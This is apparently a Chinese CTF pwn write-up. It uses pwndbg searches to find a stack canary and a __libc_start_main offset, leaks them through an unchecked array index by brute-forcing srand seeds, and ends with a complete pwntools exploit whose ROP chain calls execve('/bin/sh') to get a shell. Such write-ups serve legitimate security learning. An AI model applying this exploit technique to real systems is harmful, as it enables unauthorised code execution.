pwndbg搜索技巧+one_gadget
这是某个CTF比赛上的题目
记得当时在打比赛时死活搞不出来“__libc_start_main”的偏移量(其实我都已经在GDB中看见了),看国外某大佬的WP后学到了不少关于“pwndbg搜索”的知识
通过这个题目我也纠正了不少概念上的误区,于是在此记录
循环输入
64位,dynamically,全开
代码分析
获取数据数到“buf”中
sub_ACA:
在s1中读入256字节(遇到“\n”就中断)
小循环:
如果前3个字节是”id “就把“v5”转换为整数并赋值给“v1”,否则就break
大循环:
如果前6字节是“create”就执行函数sub_BD1,否则就break
sub_BD1:
随机生成一段字符串
特大循环:
如果前4字节是“quit”则break结束程序
漏洞分析
这里就有数组越位和栈溢出
没有system,没有“/bin/sh”
“buf[v1]”并没有好好检查下标
入侵思路
首先考虑绕开PIE和Canary
那么这么泄露地址呢?
输出函数printf可以输出“s”的值,而“s”是用随机数拼凑出来的,而且有memset填充“0”,想控制printf根本不可能
但是有一种邪门的方式可以泄露canary:
“buf[v1]”并没有好好检查下标,也就是说,程序会把任何栈上的数据给放入“sub_BD1”进行加密,如果我们对加密后的数据进行分析,说不定就可以还原加密值
那么这里有两个问题需要解决:
1.canary相对于“buf[0]”的偏移
2.获取对应偏移的对应值
第一个问题需要在pwndbg中看:
在函数“sub_BD1”调用时,RAX中的值就是“buf[0]”(在ID那里输入的“0”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 RAX 0xf593 RBX 0x555555400e10 ◂— push r15 RCX 0xffffffc0 RDX 0x6 *RDI 0xf593 RSI 0x555555400f09 ◂— movsxd rsi, dword ptr [rdx + 0x65 ] R8 0x2 R9 0x2 R10 0x555555400f02 ◂— and byte ptr ds:[rax], al R11 0x6 R12 0x5555554009c0 ◂— xor ebp, ebp R13 0x7fffffffddf0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdce0 —▸ 0x7fffffffdd00 ◂— 0x0 RSP 0x7fffffffdc60 ◂— 0xd68 *RIP 0x555555400d80 ◂— call 0x555555400bd1
发现其值为 “0xf593” ,用pwngdb查找这个字符串:
1 2 3 4 5 6 7 8 9 10 pwndbg> search -t word 0xf593 libc-2.31 .so 0x7ffff7f78381 0x81fff59381fff593 libc-2.31 .so 0x7ffff7f78385 0x5fff59381fff593 libc-2.31 .so 0x7ffff7f78389 0x9ffff59105fff593 libc-2.31 .so 0x7ffff7f78395 0x81fff59381fff593 libc-2.31 .so 0x7ffff7f78399 0xf3fff59381fff593 libc-2.31 .so 0x7ffff7f7839d 0xfff58ff3fff593 libc-2.31 .so 0x7ffff7f87fe9 0xd400019d60fff593 [stack ] 0x7fffffffdbfc 0xf593 [stack ] 0x7fffffffdc76 0x86a89b009b7df593
接着找寻canary的值:
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> canary AT_RANDOM = 0x7fffffffe149 # points to (not masked) global canary value Canary = 0x959c7d572835fc00 (may be incorrect on != glibc) Found valid canaries on the stacks: 00 :0000 │ 0x7fffffffd558 ◂— 0x959c7d572835fc00 00 :0000 │ 0x7fffffffd5c8 ◂— 0x959c7d572835fc00 00 :0000 │ 0x7fffffffdac8 ◂— 0x959c7d572835fc00 00 :0000 │ 0x7fffffffdb28 ◂— 0x959c7d572835fc00 00 :0000 │ 0x7fffffffdb38 ◂— 0x959c7d572835fc00 00 :0000 │ 0x7fffffffdb98 ◂— 0x959c7d572835fc00 00 :0000 │ 0x7fffffffdc48 ◂— 0x959c7d572835fc00 00 :0000 │ 0x7fffffffdcd8 ◂— 0x959c7d572835fc00
查找“0x959c7d572835fc00”(canary)的地址:
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> search -t qword 0x959c7d572835fc00 [anon_7ffff7fb1] 0x7ffff7fb6568 0x959c7d572835fc00 [stack] 0x7fffffffb3e8 0x959c7d572835fc00 [stack] 0x7fffffffb458 0x959c7d572835fc00 [stack] 0x7fffffffd558 0x959c7d572835fc00 [stack] 0x7fffffffd5c8 0x959c7d572835fc00 [stack] 0x7fffffffdac8 0x959c7d572835fc00 [stack] 0x7fffffffdb28 0x959c7d572835fc00 [stack] 0x7fffffffdb38 0x959c7d572835fc00 [stack] 0x7fffffffdb98 0x959c7d572835fc00 [stack] 0x7fffffffdc48 0x959c7d572835fc00 [stack] 0x7fffffffdcd8 0x959c7d572835fc00
现在我们找到了canary中出现的随机数的地址,还有“buf[0]”中随机数的地址
按道理来说,两者相减就可以得到canary随机数相对于“buf[0]”的偏移了,但是我们却搜索到了多组数据,这是因为这些数据可能在随机数表中多次出现
只有一次一次尝试,把离谱的排除了之后就得到偏移了(相当看脸)
1 2 0x7fffffffdcd8 - 0x7fffffffdc76 = 98 98 / 2 = 49
第二个问题有一点麻烦:(先看一段代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 hashes = {} stack_canary_offset = 49 charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" def leak (offset ): p.recvuntil(b'> ' ) p.sendline(b'id ' + str (offset).encode()) p.recvuntil(b'> ' ) p.sendline(b'create' ) p.recvuntil(b'Your key: ' ) key = p.recvline().strip().decode() value = hashes[key] log.info('Offset {}: {} ({})' .format (offset, key, hex (value))) return value def precompute (): global hashes for i in range (0xffff +1 ): libc.srand(i) val = '' for j in range (32 ): val += charset[libc.rand() % len (charset)] hashes[val] = i log.info("Computed {} hashes." .format (len (hashes))) precompute() canary = 0 for i in range (4 ): canary+=(leak(stack_canary_offset + i))<<(16 *i) print ("canary >> " +hex (canary))
函数leak 中的offset其实就是canary在随机数表中的偏移,对应偏移中存放的数据就是canary片段的值,这里我们可以用一个很骚的方式获取这个值
我们直接把canary的偏移输入给程序,程序就会读取canary的值,并且用这个值来生成“32位”字符串,我们这里用循环“从 0 到 0xffff+1” 依次生成“32位”字符串,然后把“程序生成的”和“我们生成的”进行对比,如果可以匹配就证明canary的值就是对应的下标
// 当然也有小概率会重复,多试几次就好了
解决了canary就要考虑怎么获取shell的问题:
首先程序开了PIE的,ROP基本上废了,需要泄露“__libc_start_main”
我们可以用泄露canary的方式来泄露“__libc_start_main”(就是有一点麻烦)
先在pwndbg中看”buf[0]”的数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 RAX 0x9bf0 RBX 0x555555400e10 ◂— push r15 RCX 0xffffffc0 RDX 0x6 *RDI 0x9bf0 RSI 0x555555400f09 ◂— movsxd rsi, dword ptr [rdx + 0x65 ] /* 'create' */ R8 0x2 R9 0x2 R10 0x555555400f02 ◂— and byte ptr ds:[rax], al /* '> ' */ R11 0x6 R12 0x5555554009c0 ◂— xor ebp, ebp R13 0x7fffffffde00 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdcf0 —▸ 0x7fffffffdd10 ◂— 0x0 RSP 0x7fffffffdc70 ◂— 0xd68 /* 'h\r' */ *RIP 0x555555400d80 ◂— call 0x555555400bd1
搜索一下:
1 2 3 pwndbg> search -t word 0x9bf0 libc-2.31 .so 0x7ffff7fa54e0 0xf5fff69bf0 [stack] 0x7fffffffdc86 0x9260245d5a0d9bf0
然后不知道从哪里掏出来“main”的返回地址
1 2 3 ► f 0 0x555555400d80 f 1 0x555555400dfe f 2 0x7ffff7dea0b3 __libc_start_main+243
搜索一下这个地址,就得到了存放“返回地址”的地址
1 2 pwndbg> search -t qword 0x7ffff7dea0b3 [stack] 0x7fffffffdd18 0x7ffff7dea0b3
两者相减计算偏移:
1 2 0x7fffffffdd18 - 0x7fffffffdc86 = 146 146 / 2 = 73
放入刚刚的模块中“__libc_start_main”的地址就有了
1 2 3 4 __libc_start_main = 0 for i in range (4 ): __libc_start_main+=(leak(stack_libc_start_main_offset + i))<<(16 *i) print ("__libc_start_main >> " +hex (__libc_start_main))
最后可以用“one_gadget”来打
1 2 3 4 5 6 7 8 9 10 11 12 0x4f3d5 execve("/bin/sh" , rsp+0x40 , environ)constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh" , rsp+0x40 , environ)constraints: [rsp+0x40 ] == NULL 0x10a41c execve("/bin/sh" , rsp+0x70 , environ)constraints: [rsp+0x70 ] == NULL
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import * import ctypes p=process('./newbie' ) elf=ELF('./newbie' ) libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so' ) hashes = {} stack_canary_offset = 49 stack_libc_start_main_offset = 73 charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" def leak (offset ): p.recvuntil(b'> ' ) p.sendline(b'id ' + str (offset).encode()) p.recvuntil(b'> ' ) p.sendline(b'create' ) p.recvuntil(b'Your key: ' ) key = p.recvline().strip().decode() value = hashes[key] if value == 1 : value = 0 log.info('Offset {}: {} ({})' .format (offset, key, hex (value))) return value def precompute (): libc = ctypes.cdll.LoadLibrary("libc.so.6" ) global hashes for i in range (0xffff +1 ): libc.srand(i) val = '' for j in range (32 ): val += charset[libc.rand() % len (charset)] hashes[val] = i log.info("Computed {} hashes." .format (len (hashes))) precompute() canary = 0 for i in range (4 ): canary+=(leak(stack_canary_offset + i))<<(16 *i) print ("canary >> " +hex (canary))__libc_start_main = 0 for i in range (4 ): __libc_start_main+=(leak(stack_libc_start_main_offset + i))<<(16 *i) print ("__libc_start_main >> " +hex (__libc_start_main-243 ))libc_start_main_offset = libc.libc_start_main_return libc_base=__libc_start_main-libc_start_main_offset print ("libc_base >> " +hex (libc_base))poprdi_ret=libc_base+0x0000000000026b72 poprsi_ret=libc_base+0x0000000000027529 poprdx_poprbx_ret=libc_base+0x0000000000162866 binsh_libc=libc_base+0x00000000001b75aa execve_libc=libc_base+libc.sym['execve' ] print ('execve >> ' +hex (execve_libc))p.recvuntil('> ' ) payload=b'a' *(0x60 -8 )+p64(canary)+b'b' *8 payload+=p64(poprdi_ret)+p64(binsh_libc) payload+=p64(poprsi_ret)+p64(0 ) payload+=p64(poprdx_poprbx_ret)+p64(0 )+p64(0 ) payload+=p64(execve_libc) print (len (payload))p.sendline(payload) p.recvuntil('> ' ) p.sendline('quit' ) p.interactive()
参考: pwn题查找字符串方法记录
PS:
我这个libc版本打不了“one_gadget”,只能自己凑了
还有一个问题:用system打不通,但execve一下子就通了